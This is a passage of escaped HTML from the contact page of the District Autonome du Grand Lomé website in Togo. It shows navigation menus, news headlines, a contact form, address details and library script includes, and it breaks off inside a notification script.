<b>l</b>om\xc3\xa9</span>\r\n                        </a>\r\n                    </div>\r\n\r\n                    <div class=\"header-right flexible-image-slider-wrap\">\r\n                        <div class=\"header-right-inner\" id=\"hidden-icon-wrapper\">\r\n\r\n                            <div class=\"header-search-form d-md-none d-block\">\r\n                                <form action=\"https://dagl.tg/recherche\" method=\"get\" class=\"search-form-top\">\r\n                                    <input class=\"search-field\" name=\"q\" type=\"text\" placeholder=\"recherche\xe2\x80\xa6\">\r\n                                    <button class=\"search-submit\">\r\n                                        <i class=\"search-btn-icon fa fa-search\"></i>\r\n                                    </button>\r\n                                </form>\r\n                            </div>\r\n\r\n                            <div class=\"header-social-networks style-icons\">\r\n                                <div class=\"inner\">\r\n                                    <a class=\" social-link hint--black hint--bottom-left\" aria-label=\"twitter\" href=\"https://twitter.com/dagl_tg\" data-hover=\"twitter\" target=\"_blank\">\r\n                                        <i class=\"social-icon fab fa-twitter\"></i>\r\n                                    </a>\r\n                                    <a class=\" social-link hint--black hint--bottom-left\" aria-label=\"facebook\" href=\"https://www.facebook.com/districtautonomedugrandlome\" data-hover=\"facebook\" target=\"_blank\">\r\n                                        <i class=\"social-icon fab fa-facebook-square\"></i>\r\n                                    </a>\r\n                                    <a class=\" social-link hint--black hint--bottom-left\" aria-label=\"linkedin\" href=\"https://www.linkedin.com/company/district-autonome-du-grand-lom\xc3\xa9\" data-hover=\"linkedin\" target=\"_blank\">\r\n                                        <i class=\"social-icon fab fa-linkedin\"></i>\r\n                                    </a>\r\n                                    <a class=\" social-link hint--black hint--bottom-left\" aria-label=\"youtube\" href=\"https://www.youtube.com/channel/uccpotv7c0jy6x3uepsznt7a\" data-hover=\"youtube\" target=\"_blank\">\r\n                                        <i class=\"social-icon fab fa-youtube\"></i>\r\n                                    </a>\r\n                                </div>\r\n                            </div>\r\n                        </div>\r\n                        <!-- mobile menu -->\r\n                        <div class=\"mobile-navigation-icon d-block d-xl-none\" id=\"mobile-menu-trigger\">\r\n                            <i></i>\r\n                        </div>\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n<div class=\"site-wrapper-reveal\">\r\n\r\n        <div  class=\"appointment-hero-wrapper appointment-hero-bg section-space--ptb_60\" style=\"background: url(https://dagl.tg/public/assets/front/imgs/bg/small.png)\">\r\n    <div class=\"container\">\r\n        <div class=\"row align-items-center\">\r\n            <div class=\"col-lg-12 col-md-12 text-center\">\r\n                <div class=\"appointment-hero-wrap wow move-up\">\r\n                    <div class=\"appointment-hero-text\">\r\n                        <h3 class=\"font-weight--reguler text-white\">contactez-nous</h3>\r\n                        <p class=\"text-white\">\r\n\r\n                        </p>\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n\r\n    <div class=\"header-area main-menu\">\r\n        <div class=\"header-bottom-wrap bg-theme-default d-md-block d-none header-sticky\">\r\n            <div class=\"container\">\r\n                <div class=\"row\">\r\n                    <div class=\"col-lg-12\">\r\n                        <div class=\"header-bottom-inner\">\r\n                            <div class=\"header-bottom-left-wrap\">\r\n                                <!-- navigation menu -->\r\n                                <div class=\"header__navigation d-none d-xl-block\">\r\n                                    <nav class=\" navigation-menu navigation-menu--text_white \">\r\n\r\n        <ul>\r\n                                <li class=\" \">\r\n                <a href=\"https://dagl.tg\"><span>accueil</span></a>\r\n                            </li>\r\n                                <li class=\"  has-children  has-children--multilevel-submenu   \">\r\n                <a href=\"#\"><span>dagl</span></a>\r\n                                    \r\n                        <ul class=\"submenu\">\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/1-presentation\"><span>pr\xc3\xa9sentation</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/6-loi-portant-creation-du-dagl\"><span>loi portant cr\xc3\xa9ation du dagl</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"#\"><span>le bureau du conseil</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/2-organisation\"><span>organisation</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/11-cabinet-du-gouverneur\"><span>cabinet du gouverneur</span></a>\r\n                                </li>\r\n                                                    </ul>\r\n                    \r\n                            </li>\r\n                                <li class=\"  has-children  has-children--multilevel-submenu   \">\r\n                <a href=\"#\"><span>communes</span></a>\r\n                                                                                    <ul class=\"megamenu megamenu--mega grid-2\">\r\n                                                            <li>\r\n                                    <ul>\r\n                                                                                                                                                                        <li><a href=\"https://dagl.tg/communes/7-commune-agoe-nyive-1\"><span>ago\xc3\xa8-nyiv\xc3\xa9 1</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/8-commune-agoe-nyive-2\"><span>ago\xc3\xa8-nyiv\xc3\xa9 2</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/11-commune-agoe-nyive-3\"><span>ago\xc3\xa8-nyiv\xc3\xa9 3</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/6-commune-agoe-nyive-4\"><span>ago\xc3\xa8-nyiv\xc3\xa9 4</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/9-commune-agoe-nyive-5\"><span>ago\xc3\xa8-nyiv\xc3\xa9 5</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/10-commune-agoe-nyive-6\"><span>ago\xc3\xa8-nyiv\xc3\xa9 6</span></a></li>\r\n                                                                            </ul>\r\n                                </li>\r\n                                                            <li>\r\n                                    <ul>\r\n                                                                                                                                                                        <li><a href=\"https://dagl.tg/communes/4-commune-du-golfe-1\"><span>golfe 1 (b\xc3\xa8-est)</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/5-commune-du-golfe-2\"><span>golfe 2 (b\xc3\xa8-centre)</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/3-commune-du-golfe-3\"><span>golfe 3 (b\xc3\xa8-ouest)</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/12-commune-du-golfe-4\"><span>golfe 4</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/13-commune-golfe-5\"><span>golfe 5</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/2-commune-du-golfe-6\"><span>golfe 6</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/1-commune-du-golfe-7\"><span>golfe 7</span></a></li>\r\n                                                                            </ul>\r\n                                </li>\r\n                                                    </ul>\r\n\r\n                        \r\n                            </li>\r\n                                <li class=\" \">\r\n                <a href=\"https://dagl.tg/accueil/3-projets\"><span>projets</span></a>\r\n                            </li>\r\n                                <li class=\" \">\r\n                <a href=\"https://dagl.tg/accueil/4-actualites\"><span>actualit\xc3\xa9s</span></a>\r\n                            </li>\r\n                                <li class=\"  has-children  has-children--multilevel-submenu   \">\r\n                <a href=\"#\"><span>galerie</span></a>\r\n                                    \r\n                        <ul class=\"submenu\">\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/9-galerie-videos\"><span>vid\xc3\xa9os</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/8-galerie-photos\"><span>photos</span></a>\r\n                                </li>\r\n                                                    </ul>\r\n                    \r\n                            </li>\r\n                                <li class=\"  has-children  has-children--multilevel-submenu   \">\r\n                <a href=\"#\"><span>avis et communiqu\xc3\xa9s</span></a>\r\n                                    \r\n                        <ul class=\"submenu\">\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/5-communiques\"><span>communiqu\xc3\xa9s</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/7-marches-public\"><span>march\xc3\xa9s publics</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/10-appels-a-projets\"><span>appels \xc3\xa0 projets</span></a>\r\n                                </li>\r\n                                                    </ul>\r\n                    \r\n                            </li>\r\n            </ul>\r\n</nav>\r\n                                </div>\r\n                            </div>\r\n\r\n                            <div class=\"header-search-form \">\r\n                                <form action=\"https://dagl.tg/recherche\" class=\"search-form-top style-03 \">\r\n                                    <input class=\"search-field\" name=\"q\" type=\"text\" placeholder=\"recherche\xe2\x80\xa6\">\r\n                                    <button class=\"search-submit\">\r\n                                        <i class=\"search-btn-icon fa fa-search\"></i>\r\n                                    </button>\r\n                                </form>\r\n                            </div>\r\n                        </div>\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </div>\r\n\r\n                <div class=\"section-flash-info pt-2 pb-2\">\r\n            <div class=\"container\">\r\n                <div class=\"row\">\r\n\r\n                    <div class=\"col-sm-1 pr-0\">\r\n                        <span class=\"marquee-title\">flash info</span>\r\n                    </div>\r\n                    <div class=\"col-sm-11 pl-0\">\r\n                        <div class=\"marquee\">\r\n                            <div>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/140-sante-en-milieu-scolaire-le-gouverneur-du-dagl-recoit-une-delegation-de-long-aimes-afrique\">sant\xc3\xa9 en milieu scolaire : le gouverneur du dagl re\xc3\xa7oit une d\xc3\xa9l\xc3\xa9gation de l\xe2\x80\x99ong aimes-afrique</a></span>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/139-le-grand-lome-dispose-desormais-dune-antenne-regionale-de-la-chambre-de-commerce-et-dindustrie-du-togo\">le grand lom\xc3\xa9 dispose d\xc3\xa9sormais d&#039;une antenne r\xc3\xa9gionale de la chambre de commerce et d&#039;industrie du togo</a></span>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/138-celebration-de-la-fete-du-travail-au-district-autonome-du-grand-lome\">c\xc3\xa9l\xc3\xa9bration de la f\xc3\xaate du travail au district autonome du grand lom\xc3\xa9</a></span>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/137-reponse-aux-problemes-dinondations-dans-le-grand-lome-lentree-en-scene-du-micro-tunnelier-mawuse\">r\xc3\xa9ponse aux probl\xc3\xa8mes d\xe2\x80\x99inondations dans le grand lom\xc3\xa9 : l\xe2\x80\x99entr\xc3\xa9e en sc\xc3\xa8ne du micro-tunnelier \xc2\xab mawuse \xc2\xbb</a></span>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/136-le-cadre-de-concertation-du-district-autonome-du-grand-lome-a-tenu-sa-2eme-reunion\">le cadre de concertation du district autonome du grand lom\xc3\xa9 a tenu sa 2\xc3\xa8me r\xc3\xa9union</a></span>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/135-gestion-des-risques-dinondation-dans-le-grand-lome-vers-une-synergie-dactions-au-profit-des-populations\">gestion des risques d\xe2\x80\x99inondation dans le grand lom\xc3\xa9 : vers une synergie d\xe2\x80\x99actions au profit des populations</a></span>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/134-le-gouverneur-du-dagl-a-pris-part-au-lancement-de-la-campagne-de-vaccination-contre-la-poliomyelite-a-amoutive\">le gouverneur du dagl a pris part au lancement de la campagne de vaccination contre la poliomy\xc3\xa9lite \xc3\xa0 amoutiv\xc3\xa9</a></span>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/133-operation-togo-propre-le-dagl-supprime-un-depotoir-sauvage-dans-la-commune-de-golfe-1\">op\xc3\xa9ration \xc2\xab togo propre \xc2\xbb : le dagl supprime un d\xc3\xa9potoir sauvage dans la commune de golfe 1</a></span>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/126-mise-en-oeuvre-du-peul-iii-des-equipements-sportifs-offerts-aux-communes-du-golfe-1-et-dagoe-nyive-4\">mise en \xc5\x93uvre du peul iii : des \xc3\xa9quipements sportifs offerts aux communes du golfe 1 et d\xe2\x80\x99ago\xc3\xa8-nyiv\xc3\xa9 4</a></span>\r\n                                                                    <span><a href=\"https://dagl.tg/articles/125-la-fete-des-travailleurs-cadres-et-agents-du-dagl-lont-celebree-avec-faste\">la f\xc3\xaate des travailleurs : cadres et agents du dagl l&#039;ont c\xc3\xa9l\xc3\xa9br\xc3\xa9e avec faste</a></span>\r\n                                                            </div>\r\n                        </div>\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    \r\n        <div class=\"section-space--ptb_30 contact-us-area\">\r\n        <div class=\"container\">\r\n            <div class=\"row\">\r\n                <div class=\"col-lg-7\">\r\n                    <div class=\"contact-title section-space--mb_50\">\r\n                        <h3 class=\"mb-20\" style=\"font-weight: 100;\">laissez-nous un message</h3>\r\n                    </div>\r\n                    <div class=\"contact-form-wrap\">\r\n                        <form  action=\"https://dagl.tg/contact\" method=\"post\">\r\n                            <input type=\"hidden\" name=\"_token\" value=\"d1k8davhazibzlp64h7u3whi7ln90o0hgetronqa\" autocomplete=\"off\">\r\n                            <div class=\"contact-form__two\">\r\n                                <div class=\"contact-inner\">\r\n                                    <input name=\"name\" value=\"\" type=\"text\" placeholder=\"votre nom complet *\" required>\r\n                                </div>\r\n\r\n                                <div class=\"contact-input\">\r\n                                    <div class=\"contact-inner\">\r\n                                        <input name=\"email\" value=\"\" type=\"email\" placeholder=\"votre adresse email *\" required>\r\n                                    </div>\r\n                                    <div class=\"contact-inner\">\r\n                                        <input name=\"phone\" value=\"\" type=\"text\" placeholder=\"votre num\xc3\xa9ro de t\xc3\xa9l\xc3\xa9phone\" >\r\n                                    </div>\r\n                                </div>\r\n\r\n                                <div class=\"contact-inner\">\r\n                                    <input name=\"subject\"  value=\"\" type=\"text\" placeholder=\"sujet *\" required>\r\n                                </div>\r\n\r\n                                <div class=\"contact-inner contact-message\">\r\n                                    <textarea name=\"message\" placeholder=\"votre message *\" required></textarea>\r\n                                </div>\r\n\r\n                                <div class=\"contact-inner\">\r\n                                    <div class=\"g-recaptcha\" data-sitekey=\"6ldjxwaaaaaaahv7lwaksxjywqus2spic7zi9xxq\"></div>\r\n                                </div>\r\n\r\n                                <div class=\"comment-submit-btn\">\r\n                                    <button class=\"ht-btn ht-btn-md\" type=\"submit\">envoyer</button>\r\n                                </div>\r\n                            </div>\r\n                        </form>\r\n                    </div>\r\n                </div>\r\n\r\n                <div class=\"col-lg-5 \">\r\n                    <div class=\"contact-title section-space--mb_50\">\r\n                        <h3 class=\"mb-20\" style=\"font-weight: 100;\">nos contacts</h3>\r\n                    </div>\r\n\r\n                    <div class=\"contact-info-three text-left\">\r\n                        <div class=\"location-text-button\">\r\n                            <span class=\"button-icon\"><i class=\"fa fa-map-marker-alt\"></i></span>\r\n                            <span class=\"button-text\">av. nicolas grunitzky, quartier administratif</span>\r\n                        </div>\r\n\r\n                        <div class=\"location-text-button\">\r\n                            <span class=\"button-icon\"><i class=\"fa fa-box-alt\"></i></span>\r\n                            <span class=\"button-text\">bp : 326 lom\xc3\xa9-togo</span>\r\n                        </div>\r\n\r\n                        <div class=\"location-text-button\">\r\n                            <span class=\"button-icon\"><i class=\"fa fa-phone-square\"></i></span>\r\n                            <span class=\"button-text\"> (228) 22 22 57 86 / 70 31 21 21</span>\r\n                        </div>\r\n\r\n                                                                            <div class=\"location-text-button\">\r\n                                <span class=\"button-icon\"><i class=\"fa fa-envelope\"></i></span>\r\n                                <span class=\"button-text\">dagl@dagl.tg</span>\r\n                            </div>\r\n                                                    <div class=\"location-text-button\">\r\n                                <span class=\"button-icon\"><i class=\"fa fa-envelope\"></i></span>\r\n                                <span class=\"button-text\">communication@dagl.tg</span>\r\n                            </div>\r\n                                            </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </div>\r\n\r\n    <div class=\"section-space--pt_30\">\r\n        <div id=\"googlemap\" style=\"height: 400px\">\r\n\r\n        </div>\r\n    </div>\r\n\r\n</div>\r\n\r\n<div class=\"footer-area-wrapper bg-green\">\r\n    <div class=\"footer-area section-space--ptb_30\">\r\n        <div class=\"container\">\r\n            <div class=\"row footer-widget-wrapper text-white\">\r\n                <div class=\"col-lg-4 col-md-4 col-sm-12 footer-widget\">\r\n                    <div class=\"footer-widget__logo  footer-logo\">\r\n                        <img src=\"https://dagl.tg/public/assets/front/imgs/logo.png\" class=\"img-fluid\" style=\"width: 70px\" alt=\"dagl\">\r\n                        <span class=\"text-white footer-log-text\">\r\n                                <b>d</b>istrict <b>a</b>utonome <br> du <b>g</b>rand <b>l</b>om\xc3\xa9\r\n                        </span>\r\n                    </div>\r\n                    <div class=\" ml-3\">\r\n                        <div><i style=\"color: rgba(255,206,0,0.5)\" class=\"fa fa-map-marker-alt\"></i> av. nicolas grunitzky, quartier administratif</div>\r\n                        <div><i style=\"color: rgba(255,206,0,0.5)\" class=\"fa fa-box-alt\"></i> bp : 326 lom\xc3\xa9-togo</div>\r\n                        <div><i style=\"color: rgba(255,206,0,0.5)\" class=\"fa fa-phone-square\"></i>  (228) 22 22 57 86 / 70 31 21 21</div>\r\n                        <div><i style=\"color: rgba(255,206,0,0.5)\" class=\"fa fa-envelope\"></i> dagl@dagl.tg, communication@dagl.tg</div>\r\n                    </div>\r\n                    <ul class=\"list ht-social-networks solid-rounded-icon\">\r\n                        <li class=\"item\">\r\n                            <a href=\"https://twitter.com/dagl_tg\" target=\"_blank\" aria-label=\"twitter\" class=\"social-link hint--bounce hint--top hint--primary\">\r\n                                <i class=\"fab fa-twitter link-icon text-white\"></i>\r\n                            </a>\r\n                        </li>\r\n                        <li class=\"item\">\r\n                            <a href=\"https://www.facebook.com/districtautonomedugrandlome\" target=\"_blank\" aria-label=\"facebook\" class=\"social-link hint--bounce hint--top hint--primary\">\r\n                                <i class=\"fab fa-facebook-f link-icon text-white\"></i>\r\n                            </a>\r\n                        </li>\r\n                        <li class=\"item\">\r\n                            <a href=\"https://www.linkedin.com/company/district-autonome-du-grand-lom\xc3\xa9\" target=\"_blank\" aria-label=\"linkedin\" class=\"social-link hint--bounce hint--top hint--primary\">\r\n                                <i class=\"fab fa-linkedin link-icon text-white\"></i>\r\n                            </a>\r\n                        </li>\r\n                        <li class=\"item\">\r\n                            <a href=\"https://www.youtube.com/channel/uccpotv7c0jy6x3uepsznt7a\" target=\"_blank\" aria-label=\"youtube\" class=\"social-link hint--bounce hint--top hint--primary\">\r\n                                <i class=\"fab fa-youtube link-icon text-white\"></i>\r\n                            </a>\r\n                        </li>\r\n                    </ul>\r\n                </div>\r\n\r\n                <div class=\"col-lg-3 col-md-4 col-sm-12 footer-widget\">\r\n                    <h6 class=\"footer-widget__title mb-20\">liens utiles</h6>\r\n                    <ul class=\"footer-widget__list\">\r\n                                                    <li><a href=\"https://presidence.gouv.tg/\" target=\"_blank\" class=\"hover-style-link\">pr\xc3\xa9sidence de la r\xc3\xa9publique togolaise</a></li>\r\n                                                    <li><a href=\"https://primature.gouv.tg/\" target=\"_blank\" class=\"hover-style-link\">primature</a></li>\r\n                                                    <li><a href=\"http://www.assemblee-nationale.tg/\" target=\"_self\" class=\"hover-style-link\">assembl\xc3\xa9e nationale</a></li>\r\n                                                    <li><a href=\"https://www.haactogo.tg/\" target=\"_self\" class=\"hover-style-link\">haac</a></li>\r\n                                                    <li><a href=\"http://www.ceni-tg.org/\" target=\"_self\" class=\"hover-style-link\">ceni</a></li>\r\n                                                    <li><a href=\"https://territoire.gouv.tg/\" target=\"_self\" class=\"hover-style-link\">mdatdt</a></li>\r\n                                                    <li><a href=\"https://construireautogo.gouv.tg/\" target=\"_self\" class=\"hover-style-link\">permis de construire</a></li>\r\n                                            </ul>\r\n                </div>\r\n\r\n                <div class=\"col-lg-5 col-md-4 col-sm-12 footer-widget\">\r\n                    <h6 class=\"footer-widget__title mb-20\">newsletter</h6>\r\n                    <p class=\"text-white\">\r\n                        inscrivez-vous \xc3\xa0 notre newsletter et restez inform\xc3\xa9s sur notre actualit\xc3\xa9\r\n                    </p>\r\n                    <form method=\"post\" action=\"https://dagl.tg/newsletter\" class=\"widget-search footer-newsletter\">\r\n                        <input type=\"hidden\" name=\"_token\" value=\"d1k8davhazibzlp64h7u3whi7ln90o0hgetronqa\" autocomplete=\"off\">\r\n                        <input type=\"email\"  name=\"email\" required placeholder=\"entrez votre adresse email\">\r\n                        <button type=\"submit\" class=\"search-submit\" style=\"background-color: #ffce00; width: 100px; color: #146c53\">\r\n                            s'inscrire\r\n                        </button>\r\n                    </form>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </div>\r\n\r\n    <div class=\"footer-area section-space--ptb_10\" style=\"background-color: #0c4031\">\r\n        <div class=\"container\">\r\n            <div class=\"row\">\r\n                <div class=\"col-sm-6\" style=\"text-align: left; color: #ffffff\">\r\n                    copyright \xc2\xa9 2024 dagl, tous droits r\xc3\xa9serv\xc3\xa9s\r\n                </div>\r\n\r\n                <div class=\"col-sm-6\" style=\"text-align: right\">\r\n                    <ul class=\"footer-inline-list\">\r\n                        <li><a href=\"https://dagl.tg/plan-du-site\"  class=\"hover-style-link\">plan du site</a></li>\r\n                        <li><a href=\"https://dagl.tg/contact\"  class=\"hover-style-link\">nous \xc3\xa9crire</a></li>\r\n                    </ul>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n<a href=\"#\" class=\"scroll-top\" id=\"scroll-top\">\r\n    <i class=\"arrow-top fal fa-long-arrow-up\"></i>\r\n    <i class=\"arrow-bottom fal fa-long-arrow-up\"></i>\r\n</a>\r\n\r\n<div class=\"demo-option-container\">\r\n    <div class=\"aeroland__toolbar\">\r\n        <div class=\"inner\">\r\n            <a class=\"hint--bounce hint--left hint--black primary-color-hover-important\"  href=\"https://www.youtube.com/channel/uccpotv7c0jy6x3uepsznt7a\" target=\"_blank\" aria-label=\"live\">\r\n                <i class=\"fal fa-video\"></i>\r\n            </a>\r\n            <a class=\"quick-option hint--bounce hint--left hint--black primary-color-hover-important\" href=\"#\" aria-label=\"partager\">\r\n                <i class=\"fal fa-share-alt\"></i>\r\n            </a>\r\n            <a class=\"hint--bounce hint--left hint--black primary-color-hover-important\"  href=\"https://dagl.tg/contact\" aria-label=\"nous \xc3\xa9crire\">\r\n                <i class=\"fal fa-envelope\"></i>\r\n            </a>\r\n        </div>\r\n    </div>\r\n\r\n   <div class=\"social-share-container\" align=\"center\">\r\n       <div class=\"sharethis-inline-share-buttons\"></div>\r\n   </div>\r\n</div>\r\n\r\n\r\n<div class=\"mobile-menu-overlay\" id=\"mobile-menu-overlay\">\r\n    <div class=\"mobile-menu-overlay__inner\">\r\n        <div class=\"mobile-menu-overlay__header\">\r\n            <div class=\"container-fluid\">\r\n                <div class=\"row align-items-center\">\r\n                    <div class=\"col-md-6 col-8\">\r\n                        <!-- logo -->\r\n                        <div class=\"logo\">\r\n                            <a href=\"\">\r\n                                <img style=\"width: 100px\" src=\"https://dagl.tg/public/assets/front/imgs/logo.png\" class=\"img-fluid\" alt=\"dagl\">\r\n                            </a>\r\n                        </div>\r\n                    </div>\r\n                    <div class=\"col-md-6 col-4\">\r\n                        <!-- mobile menu content -->\r\n                        <div class=\"mobile-menu-content text-right\">\r\n                            <span class=\"mobile-navigation-close-icon\" id=\"mobile-menu-close-trigger\"></span>\r\n                        </div>\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n\r\n        <div class=\"mobile-menu-overlay__body\">\r\n            <nav class=\" offcanvas-navigation \">\r\n\r\n        <ul>\r\n                                <li class=\" \">\r\n                <a href=\"https://dagl.tg\"><span>accueil</span></a>\r\n                            </li>\r\n                                <li class=\"  has-children   \">\r\n                <a href=\"#\"><span>dagl</span></a>\r\n                                    \r\n                        <ul class=\"submenu\">\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/1-presentation\"><span>pr\xc3\xa9sentation</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/6-loi-portant-creation-du-dagl\"><span>loi portant cr\xc3\xa9ation du dagl</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"#\"><span>le bureau du conseil</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/2-organisation\"><span>organisation</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/11-cabinet-du-gouverneur\"><span>cabinet du gouverneur</span></a>\r\n                                </li>\r\n                                                    </ul>\r\n                    \r\n                            </li>\r\n                                <li class=\"  has-children   \">\r\n                <a href=\"#\"><span>communes</span></a>\r\n                                                                                    <ul class=\"megamenu megamenu--mega grid-2\">\r\n                                                            <li>\r\n                                    <ul>\r\n                                                                                                                                                                        <li><a href=\"https://dagl.tg/communes/7-commune-agoe-nyive-1\"><span>ago\xc3\xa8-nyiv\xc3\xa9 1</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/8-commune-agoe-nyive-2\"><span>ago\xc3\xa8-nyiv\xc3\xa9 2</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/11-commune-agoe-nyive-3\"><span>ago\xc3\xa8-nyiv\xc3\xa9 3</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/6-commune-agoe-nyive-4\"><span>ago\xc3\xa8-nyiv\xc3\xa9 4</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/9-commune-agoe-nyive-5\"><span>ago\xc3\xa8-nyiv\xc3\xa9 5</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/10-commune-agoe-nyive-6\"><span>ago\xc3\xa8-nyiv\xc3\xa9 6</span></a></li>\r\n                                                                            </ul>\r\n                                </li>\r\n                                                            <li>\r\n                                    <ul>\r\n                                                                                                                                                                        <li><a href=\"https://dagl.tg/communes/4-commune-du-golfe-1\"><span>golfe 1 (b\xc3\xa8-est)</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/5-commune-du-golfe-2\"><span>golfe 2 (b\xc3\xa8-centre)</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/3-commune-du-golfe-3\"><span>golfe 3 (b\xc3\xa8-ouest)</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/12-commune-du-golfe-4\"><span>golfe 4</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/13-commune-golfe-5\"><span>golfe 5</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/2-commune-du-golfe-6\"><span>golfe 6</span></a></li>\r\n                                                                                                                                <li><a href=\"https://dagl.tg/communes/1-commune-du-golfe-7\"><span>golfe 7</span></a></li>\r\n                                                                            </ul>\r\n                                </li>\r\n                                                    </ul>\r\n\r\n                        \r\n                            </li>\r\n                                <li class=\" \">\r\n                <a href=\"https://dagl.tg/accueil/3-projets\"><span>projets</span></a>\r\n                            </li>\r\n                                <li class=\" \">\r\n                <a href=\"https://dagl.tg/accueil/4-actualites\"><span>actualit\xc3\xa9s</span></a>\r\n                            </li>\r\n                                <li class=\"  has-children   \">\r\n                <a href=\"#\"><span>galerie</span></a>\r\n                                    \r\n                        <ul class=\"submenu\">\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/9-galerie-videos\"><span>vid\xc3\xa9os</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/8-galerie-photos\"><span>photos</span></a>\r\n                                </li>\r\n                                                    </ul>\r\n                    \r\n                            </li>\r\n                                <li class=\"  has-children   \">\r\n                <a href=\"#\"><span>avis et communiqu\xc3\xa9s</span></a>\r\n                                    \r\n                        <ul class=\"submenu\">\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/5-communiques\"><span>communiqu\xc3\xa9s</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/7-marches-public\"><span>march\xc3\xa9s publics</span></a>\r\n                                </li>\r\n                                                                                            <li class=\"\" >\r\n                                    <a  href=\"https://dagl.tg/accueil/10-appels-a-projets\"><span>appels \xc3\xa0 projets</span></a>\r\n                                </li>\r\n                                                    </ul>\r\n                    \r\n                            </li>\r\n            </ul>\r\n</nav>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n\r\n<script src=\"https://dagl.tg/public/assets/front/js/vendor/modernizr-2.8.3.min.js\"></script>\r\n\r\n<!-- jquery js -->\r\n<script src=\"https://dagl.tg/public/assets/front/js/vendor/jquery-3.3.1.min.js\"></script>\r\n<script src=\"https://dagl.tg/public/assets/front/js/plugins/popper.min.js\"></script>\r\n\r\n<!-- bootstrap js -->\r\n<script src=\"https://dagl.tg/public/assets/front/js/vendor/bootstrap.min.js\"></script>\r\n\r\n<!-- swiper slider js -->\r\n<script src=\"https://dagl.tg/public/assets/front/js/plugins/swiper.min.js\"></script>\r\n\r\n<!-- light gallery js -->\r\n<script src=\"https://dagl.tg/public/assets/front/js/plugins/lightgallery.min.js\"></script>\r\n\r\n<!-- some plugins js -->\r\n\r\n\r\n<script src=\"https://dagl.tg/public/assets/front/plugins/lobibox/js/lobibox.min.js\"></script>\r\n\r\n<script src=\"https://dagl.tg/public/assets/front/js/main.js\"></script>\r\n\r\n</body>\r\n\r\n<script>\r\n    \r\n    \r\n    \r\n    function printmessage(type, message, position) {\r\n        lobibox.notify(type, {\r\n            title: false,\r\n            pausedelayonhover: true,\r\n            delayindicator: false,\r\n            position: position,\r\n            msg: message,\r\n            sound: false,\r\n            iconsource: 